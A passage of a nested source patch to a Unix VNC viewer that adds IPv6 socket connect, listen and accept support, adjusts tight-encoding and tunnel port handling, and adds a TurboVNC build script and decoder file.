-- close(sock);
-- return -1;
-- }
-+ memset(&addr, 0, sizeof(struct sockaddr_in));
-
-- if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,
-- (char *)&one, sizeof(one)) < 0) {
-- fprintf(stderr,programName);
-- perror(": ConnectToTcpAddr: setsockopt");
-- close(sock);
-- return -1;
-- }
-+ addr.sin_family = AF_INET;
-+ addr.sin_port = htons(port);
-+ addr.sin_addr.s_addr = host;
-+
-+ sock = socket(AF_INET, SOCK_STREAM, 0);
-+ if (sock < 0) {
-+ perror("ConnectToTcpAddr[ipv4]: socket");
-+ sock = -1;
-+ goto try6;
-+ }
-+
-+ if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-+ perror("ConnectToTcpAddr[ipv4]: connect");
-+ close(sock);
-+ sock = -1;
-+ goto try6;
-+ }
-+
-+ if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
-+ perror("ConnectToTcpAddr[ipv4]: setsockopt");
-+ close(sock);
-+ sock = -1;
-+ goto try6;
-+ }
-
-- return sock;
-+ if (sock >= 0) {
-+ return sock;
-+ }
-+
-+ try6:
-+
-+#ifdef AF_INET6
-+ if (!appData.noipv6) {
-+ int err;
-+ struct addrinfo *ai;
-+ struct addrinfo hints;
-+ char service[32], *host2, *q;
-+
-+ fprintf(stderr, "Trying ipv6 connection to '%s'\n", hostname);
-+
-+ memset(&hints, 0, sizeof(hints));
-+ sprintf(service, "%d", port);
-+
-+ hints.ai_family = AF_UNSPEC;
-+ hints.ai_socktype = SOCK_STREAM;
-+#ifdef AI_ADDRCONFIG
-+ hints.ai_flags |= AI_ADDRCONFIG;
-+#endif
-+#ifdef AI_NUMERICSERV
-+ hints.ai_flags |= AI_NUMERICSERV;
-+#endif
-+ if (!strcmp(hostname, "localhost")) {
-+ host2 = strdup("::1");
-+ } else if (!strcmp(hostname, "127.0.0.1")) {
-+ host2 = strdup("::1");
-+ } else if (hostname[0] == '[') {
-+ host2 = strdup(hostname+1);
-+ } else {
-+ host2 = strdup(hostname);
-+ }
-+ q = strrchr(host2, ']');
-+ if (q) {
-+ *q = '\0';
-+ }
-+
-+ err = getaddrinfo(host2, service, &hints, &ai);
-+ if (err != 0) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: getaddrinfo[%d]: %s\n", err, gai_strerror(err));
-+ usleep(100 * 1000);
-+ err = getaddrinfo(host2, service, &hints, &ai);
-+ }
-+ free(host2);
-+
-+ if (err != 0) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: getaddrinfo[%d]: %s (2nd try)\n", err, gai_strerror(err));
-+ } else {
-+ struct addrinfo *ap = ai;
-+ while (ap != NULL) {
-+ int fd = -1;
-+ char *s = ipv6_getipaddr(ap->ai_addr, ap->ai_addrlen);
-+ if (s) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: trying ip-addr: '%s'\n", s);
-+ free(s);
-+ }
-+ if (appData.noipv4) {
-+ struct sockaddr_in6 *s6ptr;
-+ if (ap->ai_family != AF_INET6) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: skipping AF_INET address under VNCVIEWER_NO_IPV4/-noipv4\n");
-+ ap = ap->ai_next;
-+ continue;
-+ }
-+#ifdef IN6_IS_ADDR_V4MAPPED
-+ s6ptr = (struct sockaddr_in6 *) ap->ai_addr;
-+ if (IN6_IS_ADDR_V4MAPPED(&(s6ptr->sin6_addr))) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: skipping V4MAPPED address under VNCVIEWER_NO_IPV4/-noipv4\n");
-+ ap = ap->ai_next;
-+ continue;
-+ }
-+#endif
-+ }
-+
-+ fd = socket(ap->ai_family, ap->ai_socktype, ap->ai_protocol);
-+ if (fd == -1) {
-+ perror("ConnectToTcpAddr[ipv6]: socket");
-+ } else {
-+ int dmsg = 0;
-+ int res = connect(fd, ap->ai_addr, ap->ai_addrlen);
-+#if defined(SOL_IPV6) && defined(IPV6_V6ONLY)
-+ if (res != 0) {
-+ int zero = 0;
-+ perror("ConnectToTcpAddr[ipv6]: connect");
-+ dmsg = 1;
-+ if (setsockopt(fd, SOL_IPV6, IPV6_V6ONLY, (char *)&zero, sizeof(zero)) == 0) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: trying again with IPV6_V6ONLY=0\n");
-+ res = connect(fd, ap->ai_addr, ap->ai_addrlen);
-+ dmsg = 0;
-+ }
-+ }
-+#endif
-+ if (res == 0) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv6]: connect OK\n");
-+ sock = fd;
-+ break;
-+ } else {
-+ if (!dmsg) perror("ConnectToTcpAddr[ipv6]: connect");
-+ close(fd);
-+ }
-+ }
-+ ap = ap->ai_next;
-+ }
-+ freeaddrinfo(ai);
-+ }
-+ if (sock >= 0 && setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
-+ perror("ConnectToTcpAddr: setsockopt");
-+ close(sock);
-+ sock = -1;
-+ }
-+ }
-+#endif
-+ return sock;
- }
-
-+Bool SocketPair(int fd[2]) {
-+ if (socketpair(PF_UNIX, SOCK_STREAM, 0, fd) == -1) {
-+ perror("socketpair");
-+ return False;
-+ }
-+ return True;
-+}
-
-+Bool SetNoDelay(int sock) {
-+ const int one = 1;
-+ if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
-+ perror("setsockopt");
-+ return False;
-+ }
-+ return True;
-+}
-
- /*
- * FindFreeTcpPort tries to find unused TCP port in the range
-@@ -242,29 +869,31 @@
- int
- FindFreeTcpPort(void)
- {
-- int sock, port;
-- struct sockaddr_in addr;
-+ int sock, port;
-+ struct sockaddr_in addr;
-
-- addr.sin_family = AF_INET;
-- addr.sin_addr.s_addr = INADDR_ANY;
-+ memset(&addr, 0, sizeof(struct sockaddr_in));
-
-- sock = socket(AF_INET, SOCK_STREAM, 0);
-- if (sock < 0) {
-- fprintf(stderr,programName);
-- perror(": FindFreeTcpPort: socket");
-- return 0;
-- }
-+ addr.sin_family = AF_INET;
-+ addr.sin_addr.s_addr = INADDR_ANY;
-
-- for (port = TUNNEL_PORT_OFFSET + 99; port > TUNNEL_PORT_OFFSET; port--) {
-- addr.sin_port = htons((unsigned short)port);
-- if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
-- close(sock);
-- return port;
-- }
-- }
-+ sock = socket(AF_INET, SOCK_STREAM, 0);
-+ if (sock < 0) {
-+ fprintf(stderr,programName);
-+ perror(": FindFreeTcpPort: socket");
-+ return 0;
-+ }
-+
-+ for (port = TUNNEL_PORT_OFFSET + 99; port > TUNNEL_PORT_OFFSET; port--) {
-+ addr.sin_port = htons((unsigned short)port);
-+ if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
-+ close(sock);
-+ return port;
-+ }
-+ }
-
-- close(sock);
-- return 0;
-+ close(sock);
-+ return 0;
- }
-
-
-@@ -272,47 +901,110 @@
- * ListenAtTcpPort starts listening at the given TCP port.
- */
-
--int
--ListenAtTcpPort(int port)
--{
-- int sock;
-- struct sockaddr_in addr;
-- int one = 1;
--
-- addr.sin_family = AF_INET;
-- addr.sin_port = htons(port);
-- addr.sin_addr.s_addr = INADDR_ANY;
-+int use_loopback = 0;
-
-- sock = socket(AF_INET, SOCK_STREAM, 0);
-- if (sock < 0) {
-- fprintf(stderr,programName);
-- perror(": ListenAtTcpPort: socket");
-- return -1;
-- }
-+int ListenAtTcpPort(int port) {
-+ int sock;
-+ struct sockaddr_in addr;
-+ int one = 1;
-+
-+ if (appData.noipv4) {
-+ fprintf(stderr, "ipv4 is disabled via VNCVIEWER_NO_IPV4/-noipv4.\n");
-+ return -1;
-+ }
-
-- if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR,
-- (const char *)&one, sizeof(one)) < 0) {
-- fprintf(stderr,programName);
-- perror(": ListenAtTcpPort: setsockopt");
-- close(sock);
-- return -1;
-- }
-+ memset(&addr, 0, sizeof(struct sockaddr_in));
-
-- if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-- fprintf(stderr,programName);
-- perror(": ListenAtTcpPort: bind");
-- close(sock);
-- return -1;
-- }
-+ addr.sin_family = AF_INET;
-+ addr.sin_port = htons(port);
-+ addr.sin_addr.s_addr = INADDR_ANY;
-
-- if (listen(sock, 5) < 0) {
-- fprintf(stderr,programName);
-- perror(": ListenAtTcpPort: listen");
-- close(sock);
-- return -1;
-- }
-+ if (getenv("VNCVIEWER_LISTEN_LOCALHOST") || use_loopback) {
-+ addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
-+ }
-+
-+ sock = socket(AF_INET, SOCK_STREAM, 0);
-+ if (sock < 0) {
-+ perror("ListenAtTcpPort: socket");
-+ return -1;
-+ }
-
-- return sock;
-+ if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *)&one, sizeof(one)) < 0) {
-+ perror("ListenAtTcpPort: setsockopt");
-+ close(sock);
-+ return -1;
-+ }
-+
-+ if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
-+ perror("ListenAtTcpPort: bind");
-+ close(sock);
-+ return -1;
-+ }
-+
-+ if (listen(sock, 32) < 0) {
-+ perror("ListenAtTcpPort: listen");
-+ close(sock);
-+ return -1;
-+ }
-+
-+ return sock;
-+}
-+
-+int ListenAtTcpPort6(int port) {
-+ int sock = -1;
-+#ifdef AF_INET6
-+ struct sockaddr_in6 sin;
-+ int one = 1;
-+
-+ if (appData.noipv6) {
-+ fprintf(stderr, "ipv6 is disabled via VNCVIEWER_NO_IPV6/-noipv6.\n");
-+ return -1;
-+ }
-+
-+ sock = socket(AF_INET6, SOCK_STREAM, 0);
-+ if (sock < 0) {
-+ perror("ListenAtTcpPort[ipv6]: socket");
-+ return -1;
-+ }
-+
-+ if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) {
-+ perror("ListenAtTcpPort[ipv6]: setsockopt1");
-+ close(sock);
-+ return -1;
-+ }
-+
-+#if defined(SOL_IPV6) && defined(IPV6_V6ONLY)
-+ if (setsockopt(sock, SOL_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) {
-+ perror("ListenAtTcpPort[ipv6]: setsockopt2");
-+ close(sock);
-+ return -1;
-+ }
-+#endif
-+
-+ memset((char *)&sin, 0, sizeof(sin));
-+ sin.sin6_family = AF_INET6;
-+ sin.sin6_port = htons(port);
-+ sin.sin6_addr = in6addr_any;
-+
-+ if (getenv("VNCVIEWER_LISTEN_LOCALHOST") || use_loopback) {
-+ sin.sin6_addr = in6addr_loopback;
-+ }
-+
-+ if (bind(sock, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
-+ perror("ListenAtTcpPort[ipv6]: bind");
-+ close(sock);
-+ return -1;
-+ }
-+
-+ if (listen(sock, 32) < 0) {
-+ perror("ListenAtTcpPort[ipv6]: listen");
-+ close(sock);
-+ return -1;
-+ }
-+
-+#endif
-+ if (port) {}
-+ return sock;
- }
-
-
-@@ -320,33 +1012,69 @@
- * AcceptTcpConnection accepts a TCP connection.
- */
-
--int
--AcceptTcpConnection(int listenSock)
--{
-- int sock;
-- struct sockaddr_in addr;
-- int addrlen = sizeof(addr);
-- int one = 1;
-+int AcceptTcpConnection(int listenSock) {
-+ int sock;
-+ struct sockaddr_in addr;
-+ int addrlen = sizeof(addr);
-+ int one = 1;
-+
-+ sock = accept(listenSock, (struct sockaddr *) &addr, &addrlen);
-+ if (sock < 0) {
-+ perror("AcceptTcpConnection: accept");
-+ return -1;
-+ }
-
-- sock = accept(listenSock, (struct sockaddr *) &addr, &addrlen);
-- if (sock < 0) {
-- fprintf(stderr,programName);
-- perror(": AcceptTcpConnection: accept");
-- return -1;
-- }
-+ if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
-+ perror("AcceptTcpConnection: setsockopt");
-+ close(sock);
-+ return -1;
-+ }
-
-- if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,
-- (char *)&one, sizeof(one)) < 0) {
-- fprintf(stderr,programName);
-- perror(": AcceptTcpConnection: setsockopt");
-- close(sock);
-- return -1;
-- }
-+ return sock;
-+}
-+
-+char *accept6_ipaddr = NULL;
-+char *accept6_hostname = NULL;
-+
-+int AcceptTcpConnection6(int listenSock) {
-+ int sock = -1;
-+#ifdef AF_INET6
-+ struct sockaddr_in6 addr;
-+ socklen_t addrlen = sizeof(addr);
-+ int one = 1;
-+ char *name;
-+
-+ if (appData.noipv6) {
-+ return -1;
-+ }
-+
-+ sock = accept(listenSock, (struct sockaddr *) &addr, &addrlen);
-+ if (sock < 0) {
-+ perror("AcceptTcpConnection[ipv6]: accept");
-+ return -1;
-+ }
-+
-+ if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) {
-+ perror("AcceptTcpConnection[ipv6]: setsockopt");
-+ close(sock);
-+ return -1;
-+ }
-
-- return sock;
-+ name = ipv6_getipaddr((struct sockaddr *) &addr, addrlen);
-+ if (!name) name = strdup("unknown");
-+ accept6_ipaddr = name;
-+ fprintf(stderr, "AcceptTcpConnection6: ipv6 connection from: '%s'\n", name);
-+
-+ name = ipv6_getnameinfo((struct sockaddr *) &addr, addrlen);
-+ if (!name) name = strdup("unknown");
-+ accept6_hostname = name;
-+#endif
-+ if (listenSock) {}
-+ return sock;
- }
-
-
-+
- /*
- * SetNonBlocking sets a socket into non-blocking mode.
- */
-@@ -379,7 +1107,7 @@
-
- *addr = inet_addr(str);
-
-- if (*addr != -1)
-+ if (*addr != (unsigned int) -1)
- return True;
-
- hp = gethostbyname(str);
-@@ -392,6 +1120,42 @@
- return False;
- }
-
-+char *get_peer_ip(int sock) {
-+ struct sockaddr_in saddr;
-+ unsigned int saddr_len;
-+ int saddr_port;
-+ char *saddr_ip_str = NULL;
-+
-+ saddr_len = sizeof(saddr);
-+ memset(&saddr, 0, sizeof(saddr));
-+ saddr_port = -1;
-+ if (!getpeername(sock, (struct sockaddr *)&saddr, &saddr_len)) {
-+ saddr_ip_str = inet_ntoa(saddr.sin_addr);
-+ }
-+ if (! saddr_ip_str) {
-+ saddr_ip_str = "unknown";
-+ }
-+ return strdup(saddr_ip_str);
-+}
-+
-+char *ip2host(char *ip) {
-+ char *str;
-+ struct hostent *hp;
-+ in_addr_t iaddr;
-+
-+ iaddr = inet_addr(ip);
-+ if (iaddr == htonl(INADDR_NONE)) {
-+ return strdup("unknown");
-+ }
-+
-+ hp = gethostbyaddr((char *)&iaddr, sizeof(in_addr_t), AF_INET);
-+ if (!hp) {
-+ return strdup("unknown");
-+ }
-+ str = strdup(hp->h_name);
-+ return str;
-+}
-+
-
- /*
- * Test if the other end of a socket is on the same machine.
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/tight.c vnc_unixsrc/vncviewer/tight.c
---- vnc_unixsrc.orig/vncviewer/tight.c 2002-04-30 09:07:31.000000000 -0400
-+++ vnc_unixsrc/vncviewer/tight.c 2008-10-05 15:16:35.000000000 -0400
-@@ -129,14 +129,21 @@
- #endif
-
- #if (BPP == 8)
-- gcv.foreground = (appData.useBGR233) ?
-- BGR233ToPixel[fill_colour] : fill_colour;
-+ gcv.foreground = (appData.useBGR233) ? BGR233ToPixel[fill_colour] : fill_colour;
-+#else
-+#if (BPP == 16)
-+ gcv.foreground = (appData.useBGR565) ? BGR565ToPixel[fill_colour] : fill_colour;
- #else
- gcv.foreground = fill_colour;
- #endif
-+#endif
-
-- XChangeGC(dpy, gc, GCForeground, &gcv);
-- XFillRectangle(dpy, desktopWin, gc, rx, ry, rw, rh);
-+ if (!appData.useXserverBackingStore) {
-+ FillScreen(rx, ry, rw, rh, gcv.foreground);
-+ } else {
-+ XChangeGC(dpy, gc, GCForeground, &gcv);
-+ XFillRectangle(dpy, desktopWin, gc, rx, ry, rw, rh);
-+ }
- return True;
- }
-
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/tmake vnc_unixsrc/vncviewer/tmake
---- vnc_unixsrc.orig/vncviewer/tmake 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/tmake 2009-10-25 10:31:22.000000000 -0400
-@@ -0,0 +1,17 @@
-+#!/bin/sh
-+TURBOVNC_DIR=/home/runge/turbojpeg
-+make clean
-+(cd ../libvncauth || exit 1; make)
-+if [ "X$1" = "X-a" ]; then
-+ exit
-+fi
-+make CCOPTIONS=-DTURBOVNC EXTRA_LIBRARIES="-L$TURBOVNC_DIR -Xlinker --rpath=$TURBOVNC_DIR -Xlinker --rpath=/usr/local/lib -lturbojpeg"
-+cp -p vncviewer vncviewer.turbovnc
-+strip vncviewer.turbovnc
-+ls -l vncviewer.turbovnc
-+ldd vncviewer.turbovnc
-+
-+echo
-+make clean all
-+ls -l vncviewer
-+ldd vncviewer
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/tunnel.c vnc_unixsrc/vncviewer/tunnel.c
---- vnc_unixsrc.orig/vncviewer/tunnel.c 2003-07-31 04:03:49.000000000 -0400
-+++ vnc_unixsrc/vncviewer/tunnel.c 2010-02-25 23:39:24.000000000 -0500
-@@ -100,7 +100,6 @@
- int *pargc, char **argv, int tunnelArgIndex)
- {
- char *pdisplay;
-- int port;
-
- if (tunnelArgIndex >= *pargc - 1)
- usage();
-@@ -132,6 +131,7 @@
- {
- char *colonPos;
- int len, portOffset;
-+ int disp;
-
- if (tunnelArgIndex >= *pargc - 2)
- usage();
-@@ -150,10 +150,17 @@
- len--;
- portOffset = 0;
- }
-- if (!len || strspn(colonPos, "-0123456789") != len) {
-+ if (!len || (int) strspn(colonPos, "-0123456789") != len) {
- usage();
- }
-+#if 0
- *remotePort = atoi(colonPos) + portOffset;
-+#else
-+ disp = atoi(colonPos);
-+ if (portOffset != 0 && disp >= 100)
-+ portOffset = 0;
-+ *remotePort = disp + portOffset;
-+#endif
- }
-
- sprintf(lastArgv, "localhost::%d", localPort);
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/turbovnc/tight.c vnc_unixsrc/vncviewer/turbovnc/tight.c
---- vnc_unixsrc.orig/vncviewer/turbovnc/tight.c 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/turbovnc/tight.c 2008-08-20 13:35:58.000000000 -0400
-@@ -0,0 +1,613 @@
-+/*
-+ * Copyright (C) 2005-2006 Sun Microsystems, Inc. All Rights Reserved.
-+ * Copyright (C) 2004 Landmark Graphics Corporation. All Rights Reserved.
-+ * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+/*
-+ * tight.c - handle ``tight'' encoding.
-+ *
-+ * This file shouldn't be compiled directly. It is included multiple
-+ * times by rfbproto.c, each time with a different definition of the
-+ * macro BPP. For each value of BPP, this file defines a function
-+ * which handles a tight-encoded rectangle with BPP bits per pixel.
-+ *
-+ */
-+
-+#define TIGHT_MIN_TO_COMPRESS 12
-+
-+#define CARDBPP CONCAT2E(CARD,BPP)
-+#define filterPtrBPP CONCAT2E(filterPtr,BPP)
-+
-+#define HandleTightBPP CONCAT2E(HandleTight,BPP)
-+#define InitFilterCopyBPP CONCAT2E(InitFilterCopy,BPP)
-+#define InitFilterPaletteBPP CONCAT2E(InitFilterPalette,BPP)
-+#define InitFilterGradientBPP CONCAT2E(InitFilterGradient,BPP)
-+#define FilterCopyBPP CONCAT2E(FilterCopy,BPP)
-+#define FilterPaletteBPP CONCAT2E(FilterPalette,BPP)
-+#define FilterGradientBPP CONCAT2E(FilterGradient,BPP)
-+
-+#if BPP != 8
-+#define DecompressJpegRectBPP CONCAT2E(DecompressJpegRect,BPP)
-+#endif
-+
-+#ifndef RGB_TO_PIXEL
-+
-+#define RGB_TO_PIXEL(bpp,r,g,b) \
-+ (((CARD##bpp)(r) & myFormat.redMax) << myFormat.redShift | \
-+ ((CARD##bpp)(g) & myFormat.greenMax) << myFormat.greenShift | \
-+ ((CARD##bpp)(b) & myFormat.blueMax) << myFormat.blueShift)
-+
-+#define RGB24_TO_PIXEL(bpp,r,g,b) \
-+ ((((CARD##bpp)(r) & 0xFF) * myFormat.redMax + 127) / 255 \
-+ << myFormat.redShift | \
-+ (((CARD##bpp)(g) & 0xFF) * myFormat.greenMax + 127) / 255 \
-+ << myFormat.greenShift | \
-+ (((CARD##bpp)(b) & 0xFF) * myFormat.blueMax + 127) / 255 \
-+ << myFormat.blueShift)
-+
-+#define RGB24_TO_PIXEL32(r,g,b) \
-+ (((CARD32)(r) & 0xFF) << myFormat.redShift | \
-+ ((CARD32)(g) & 0xFF) << myFormat.greenShift | \
-+ ((CARD32)(b) & 0xFF) << myFormat.blueShift)
-+
-+#endif
-+
-+extern XImage *image;
-+
-+/* Type declarations */
-+
-+typedef void (*filterPtrBPP)(int, int, int);
-+
-+/* Prototypes */
-+
-+static int InitFilterCopyBPP (int rw, int rh);
-+static int InitFilterPaletteBPP (int rw, int rh);
-+static int InitFilterGradientBPP (int rw, int rh);
-+static void FilterCopyBPP (int srcx, int srcy, int numRows);
-+static void FilterPaletteBPP (int srcx, int srcy, int numRows);
-+static void FilterGradientBPP (int srcx, int srcy, int numRows);
-+
-+static Bool DecompressJpegRectBPP(int x, int y, int w, int h);
-+
-+/* Definitions */
-+
-+static Bool
-+HandleTightBPP (int rx, int ry, int rw, int rh)
-+{
-+ CARDBPP fill_colour;
-+ XGCValues gcv;
-+ CARD8 comp_ctl;
-+ CARD8 filter_id;
-+ filterPtrBPP filterFn;
-+ z_streamp zs;
-+ int err, stream_id, compressedLen, bitsPixel;
-+ int bufferSize, rowSize, numRows;
-+ Bool readUncompressed = False;
-+ CARDBPP *rawData;
-+
-+ if (!ReadFromRFBServer((char *)&comp_ctl, 1))
-+ return False;
-+
-+ /* Flush zlib streams if we are told by the server to do so. */
-+ for (stream_id = 0; stream_id < 4; stream_id++) {
-+ if ((comp_ctl & 1) && zlibStreamActive[stream_id]) {
-+ if (inflateEnd (&zlibStream[stream_id]) != Z_OK &&
-+ zlibStream[stream_id].msg != NULL)
-+ fprintf(stderr, "inflateEnd: %s\n", zlibStream[stream_id].msg);
-+ zlibStreamActive[stream_id] = False;
-+ }
-+ comp_ctl >>= 1;
-+ }
-+
-+ if ((comp_ctl & rfbTightNoZlib) == rfbTightNoZlib) {
-+ comp_ctl &= ~(rfbTightNoZlib);
-+ readUncompressed = True;
-+ }
-+
-+ /* Handle solid rectangles. */
-+ if (comp_ctl == rfbTightFill) {
-+#if BPP == 32
-+ if (myFormat.depth == 24 && myFormat.redMax == 0xFF &&
-+ myFormat.greenMax == 0xFF && myFormat.blueMax == 0xFF) {
-+ if (!ReadFromRFBServer(buffer, 3))
-+ return False;
-+ fill_colour = RGB24_TO_PIXEL32(buffer[0], buffer[1], buffer[2]);
-+ } else {
-+ if (!ReadFromRFBServer((char*)&fill_colour, sizeof(fill_colour)))
-+ return False;
-+ }
-+#else
-+ if (!ReadFromRFBServer((char*)&fill_colour, sizeof(fill_colour)))
-+ return False;
-+#endif
-+
-+#if (BPP == 8)
-+ gcv.foreground = (appData.useBGR233) ?
-+ BGR233ToPixel[fill_colour] : fill_colour;
-+#else
-+ gcv.foreground = fill_colour;
-+#endif
-+
-+ FillRectangle(&gcv, rx, ry, rw, rh);
-+ return True;
-+ }
-+
-+#if BPP == 8
-+ if (comp_ctl == rfbTightJpeg) {
-+ fprintf(stderr, "Tight encoding: JPEG is not supported in 8 bpp mode.\n");
-+ return False;
-+ }
-+#else
-+ if (comp_ctl == rfbTightJpeg) {
-+ return DecompressJpegRectBPP(rx, ry, rw, rh);
-+ }
-+#endif
-+
-+ /* Quit on unsupported subencoding value. */
-+ if (comp_ctl > rfbTightMaxSubencoding) {
-+ fprintf(stderr, "Tight encoding: bad subencoding value received.\n");
-+ return False;
-+ }
-+
-+ /*
-+ * Here primary compression mode handling begins.
-+ * Data was processed with optional filter + zlib compression.
-+ */
-+
-+ /* First, we should identify a filter to use. */
-+ if ((comp_ctl & rfbTightExplicitFilter) != 0) {
-+ if (!ReadFromRFBServer((char*)&filter_id, 1))
-+ return False;
-+
-+ switch (filter_id) {
-+ case rfbTightFilterCopy:
-+ filterFn = FilterCopyBPP;
-+ bitsPixel = InitFilterCopyBPP(rw, rh);
-+ break;
-+ case rfbTightFilterPalette:
-+ filterFn = FilterPaletteBPP;
-+ bitsPixel = InitFilterPaletteBPP(rw, rh);
-+ break;
-+ case rfbTightFilterGradient:
-+ filterFn = FilterGradientBPP;
-+ bitsPixel = InitFilterGradientBPP(rw, rh);
-+ break;
-+ default:
-+ fprintf(stderr, "Tight encoding: unknown filter code received.\n");
-+ return False;
-+ }
-+ } else {
-+ filterFn = FilterCopyBPP;
-+ bitsPixel = InitFilterCopyBPP(rw, rh);
-+ }
-+ if (bitsPixel == 0) {
-+ fprintf(stderr, "Tight encoding: error receiving palette.\n");
-+ return False;
-+ }
-+
-+ /* Determine if the data should be decompressed or just copied. */
-+ rowSize = (rw * bitsPixel + 7) / 8;
-+ bufferSize = -1;
-+ if (rh * rowSize < TIGHT_MIN_TO_COMPRESS)
-+ bufferSize = rh * rowSize;
-+ else if (readUncompressed) {
-+ bufferSize = (int)ReadCompactLen();
-+ }
-+ if (bufferSize != -1) {
-+ uncompressedData = (char *)realloc(uncompressedData, bufferSize);
-+ if (!uncompressedData) {
-+ fprintf(stderr, "Memory allocation error\n");
-+ return False;
-+ }
-+ if (!ReadFromRFBServer(uncompressedData, bufferSize))
-+ return False;
-+ filterFn(rx, ry, rh);
-+ if (appData.useBGR233) CopyDataToImage(buffer, rx, ry, rw, rh);
-+ if (!appData.doubleBuffer) CopyImageToScreen(rx, ry, rw, rh);
-+
-+ return True;
-+ }
-+
-+ /* Read the length (1..3 bytes) of compressed data following. */
-+ compressedLen = (int)ReadCompactLen();
-+ if (compressedLen <= 0) {
-+ fprintf(stderr, "Incorrect data received from the server.\n");
-+ return False;
-+ }
-+
-+ /* Now let's initialize compression stream if needed. */
-+ stream_id = comp_ctl & 0x03;
-+ zs = &zlibStream[stream_id];
-+ if (!zlibStreamActive[stream_id]) {
-+ zs->zalloc = Z_NULL;
-+ zs->zfree = Z_NULL;
-+ zs->opaque = Z_NULL;
-+ err = inflateInit(zs);
-+ if (err != Z_OK) {
-+ if (zs->msg != NULL)
-+ fprintf(stderr, "InflateInit error: %s.\n", zs->msg);
-+ return False;
-+ }
-+ zlibStreamActive[stream_id] = True;
-+ }
-+
-+ /* Read, decode and draw actual pixel data in a loop. */
-+
-+ compressedData = (char *)realloc(compressedData, compressedLen);
-+ if (!compressedData) {
-+ fprintf(stderr, "Memory allocation error\n");
-+ return False;
-+ }
-+ uncompressedData = (char *)realloc(uncompressedData, rh * rowSize);
-+ if (!uncompressedData) {
-+ fprintf(stderr, "Memory allocation error\n");
-+ return False;
-+ }
-+
-+ if (!ReadFromRFBServer(compressedData, compressedLen))
-+ return False;
-+ zs->next_in = (Bytef *)compressedData;
-+ zs->avail_in = compressedLen;
-+ zs->next_out = (Bytef *)uncompressedData;
-+ zs->avail_out = rh * rowSize;
-+
-+ err = inflate(zs, Z_SYNC_FLUSH);
-+ if (err != Z_OK && err != Z_STREAM_END) {
-+ if (zs->msg != NULL) {
-+ fprintf(stderr, "Inflate error: %s.\n", zs->msg);
-+ } else {
-+ fprintf(stderr, "Inflate error: %d.\n", err);
-+ }
-+ return False;
-+ }
-+
-+ filterFn(rx, ry, rh);
-+ if (appData.useBGR233) CopyDataToImage(buffer, rx, ry, rw, rh);
-+ if (!appData.doubleBuffer) CopyImageToScreen(rx, ry, rw, rh);
-+
-+ return True;
-+}
-+
-+/*----------------------------------------------------------------------------
-+ *
-+ * Filter stuff.
-+ *
-+ */
-+
-+/*
-+ The following variables are defined in rfbproto.c:
-+ static Bool cutZeros;
-+ static int rectWidth, rectColors;
-+ static CARD8 tightPalette[256*4];
-+ static CARD8 tightPrevRow[2048*3*sizeof(CARD16)];
-+*/
-+
-+static int
-+InitFilterCopyBPP (int rw, int rh)
-+{
-+ rectWidth = rw;
-+
-+#if BPP == 32
-+ if (myFormat.depth == 24 && myFormat.redMax == 0xFF &&
-+ myFormat.greenMax == 0xFF && myFormat.blueMax == 0xFF) {
-+ cutZeros = True;
-+ return 24;
-+ } else {
-+ cutZeros = False;
-+ }
-+#endif
-+
-+ return BPP;
-+}
-+
-+static void
-+FilterCopyBPP (int srcx, int srcy, int numRows)
-+{
-+ CARDBPP *dst = (CARDBPP *)&image->data[srcy * image->bytes_per_line
-+ + srcx * image->bits_per_pixel/8];
-+ int dstw = image->bytes_per_line / (image->bits_per_pixel / 8);
-+ int y;
-+#if BPP == 32
-+ int x;
-+#endif
-+
-+ if (appData.useBGR233) {
-+ dst = (CARDBPP *)buffer;
-+ dstw = rectWidth;
-+ }
-+
-+#if BPP == 32
-+ if (cutZeros) {
-+ for (y = 0; y < numRows; y++) {
-+ for (x = 0; x < rectWidth; x++) {
-+ dst[y*dstw+x] =
